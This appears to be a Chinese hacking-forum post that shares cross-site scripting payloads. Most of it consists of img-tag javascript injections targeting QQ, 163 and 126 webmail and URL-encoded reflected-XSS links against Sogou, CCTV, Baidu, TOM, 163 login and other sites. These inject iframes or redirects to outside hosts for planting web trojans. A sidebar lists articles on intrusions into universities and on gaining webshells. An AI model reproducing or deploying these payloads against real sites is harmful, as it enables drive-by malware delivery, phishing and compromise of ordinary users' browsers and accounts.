QQ邮件:
<img src=javascript:document.write('<Iframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E</iframe%3E')>
163邮件:
<img src=j avascript:document.write('%3CIframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E%3C/iframe%3E')>
126邮件 也适用与Q邮箱:
<img src=javascript:document.write('<Iframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E</iframe%3E')>
其他邮箱请参考hackest&雕牌 [H.S.T]的“对国内主流邮箱的跨站测试”一文
另外是一些跨站漏洞(作者在另一主题中提交被管理人员合并进来)
Sogou:
http://www.sogou.com/web?query=%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%22%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%31%35%30%30%22%3E%3C%2F%69%66%72%61%6D%65%3E
OpenV:
http://www.openv.tv/ls.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%39%30%30%22%3E&db=video
新华网视频搜索也是OpenV的
http://xinhuanet.openv.tv/search.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64%75%2E%63%6F%6D%2F%6A%63%31%32%33%3E&md=&lang=&sn=1&vd=&d=v&db=tv&s
CCTV:(好像有人发过了)
http://vsearch.cctv.com/tvsearch.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64%75%2E%63%6F%6D%2F%6A%63%31%32%33%3E
TOM:
http://search.tom.com/ci.php?word=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%3E
百度:
http://cache.baidu.com/c?url=%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64%75%2E%63%6F%6D%2F%6A%63%31%32%33&p=2007c64ad6c02dec05bd9b7e000000
http://www.baidu.com/s?wd=><script>window.location=('http://hi.baidu.com/jc123')</script>
163:(好像也有人发过了)
https://reg.163.com/logins.jsp?username=%22%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64%75%2E%63%6F%6D%2F%6A%63%31%32%33%3E%3C%2F%69%66%72%61%6D%65%3E%22%3C%22&password=123456
天极网:
http://search.yesky.com/search.do?stype=0&wd=%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%22%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%31%35%30%30%22%3E%3C%2F%69%66%72%61%6D%65%3E
智联招聘:
http://student.zhaopin.com/Job/CompanyList.asp?C=%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%22%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%31%35%30%30%22%3E%3C%2F%69%66%72%61%6D%65%3E
很久以前[B.s.T]团队就对这个发生了渗透以及讨论..
如题:http://hi.baidu.com/b_s_t/blog/item/2404052e8d0486514ec22676.html
| 最新QQ 163 126 等邮箱跨站挂马代 | 06-18 | |
| 入侵清华大学全过程 | 06-14 | |
| 入侵复旦大学 | 06-14 | |
| Ajax时代 SQL注入依然存在 | 06-13 | |
| PJblog跨站漏洞利用及修补 | 06-11 | |
| 从注入到拿WEBSHELL(BBSXP7 mssq | 06-11 | |
| 对国内主流邮箱的跨站测试 | 06-09 | |
| PhpWind 防盗链插件Showpic.php本 | 05-11 | |
| 沸腾新闻系统V1.1 Access版 Fini | 05-09 | |
| 轻易绕过PhpWind论坛程序高危漏洞 | 04-21 | |
| 世纪热线完美版跨站漏洞提权入侵 | 04-16 | |
| 对讯时新闻发布系统的艰难突破 | 04-16 | |